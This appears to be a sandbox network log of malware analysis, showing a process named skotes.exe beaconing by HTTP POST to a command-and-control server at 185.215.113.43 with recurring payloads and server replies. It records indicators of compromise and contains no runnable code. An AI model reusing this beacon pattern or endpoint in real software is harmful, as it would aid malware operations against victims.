Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	50166	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:18:41.214983940 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 04:18:42.119816065 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:18:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	50167	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:18:43.634017944 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 04:18:44.536853075 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:18:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	50168	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:18:46.166547060 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 04:18:47.064743042 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:18:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	50169	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:18:48.767168045 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 04:18:49.688035011 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:18:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	50170	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:18:51.633428097 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 04:18:52.533993959 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:18:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	50171	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:18:54.058100939 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 04:18:54.963710070 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:18:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	50172	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:18:56.587685108 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 04:18:57.496690989 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:18:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	50173	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:18:59.008255959 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 04:18:59.930140018 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:18:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	50174	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:19:01.556428909 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 04:19:02.448468924 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:19:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	50175	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:19:03.961890936 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 04:19:04.882956982 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:19:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	50176	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:19:06.498301029 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 04:19:07.410957098 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:19:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	50177	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:19:08.932054043 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 04:19:09.867978096 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:19:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	50178	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:19:11.492990017 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 04:19:12.414848089 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:19:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	50179	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:19:13.937091112 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 04:19:14.849745035 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:19:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	50180	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:19:16.463608027 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 04:19:17.352756977 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:19:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	50181	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:19:18.868907928 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 04:19:19.793739080 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:19:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	50182	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:19:21.432400942 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 04:19:22.336848974 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:19:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	50183	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:19:23.850219965 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 04:19:24.741199017 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:19:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	50184	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:19:26.353523016 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 04:19:27.263104916 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:19:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	50186	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:19:28.775398016 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 04:19:29.692107916 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:19:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	50187	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:19:31.324512005 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 04:19:32.232110023 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:19:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	50188	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:19:33.755325079 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 04:19:34.664850950 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:19:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	50189	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:19:36.275548935 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 04:19:37.183892965 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:19:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	50190	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
